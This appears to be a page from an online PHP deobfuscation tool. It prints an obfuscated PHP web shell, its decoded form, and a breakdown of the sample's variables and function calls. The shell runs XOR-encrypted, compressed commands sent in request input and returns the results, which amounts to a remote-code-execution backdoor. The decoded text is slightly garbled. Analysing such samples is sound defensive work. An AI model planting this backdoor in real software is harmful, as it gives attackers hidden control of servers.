Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $X='nts("php://input"),$m)==1) {@ob_start();@eal(@gzuncompress(@x'; $o='($i=0;$i<$..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="098f6bcd";$kh="4621d373cade";$kf="4e832627b4f6";$p="WCwXKokJPxzEx7lT";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();@eal(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$X='nts("php://input"),$m)==1) {@ob_start();@eal(@gzuncompress(@x';
$o='($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k';
$W='{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_conte';
$i='kJPxzEx7lT";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for';
$r='$k="098f6bcd";$kh="4621d373cade";$kf="4e832627b4f6";$p="WCwXKo';
$n='(@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clea';
$c='n();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}';
$O=str_replace('','','create_function');
$R=str_replace('V','',$r.$i.$o.$W.$X.$n.$c);
$N=$O('',$R);$N();
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$O create_function
$R $k="098f6bcd";$kh="4621d373cade";$kf="4e832627b4f6";$p="WCwX..
$W {$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_c..
$X nts("php://input"),$m)==1) {@ob_start();@eal(@gzuncompress(@..
$c n();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r..
$i kJPxzEx7lT";function x($t,$k){$c=strlen($k);$l=strlen($t);$o..
$k 098f6bcd
$n (@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_c..
$o ($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^..
$p WCwXKokJPxzEx7lT
$r $k="098f6bcd";$kh="4621d373cade";$kf="4e832627b4f6";$p="WCwX..
$kf 4e832627b4f6
$kh 4621d373cade

Stats

MD5 9a573d1fc832d8dc83481594060d03d0
Eval Count 1
Decode Time 494 ms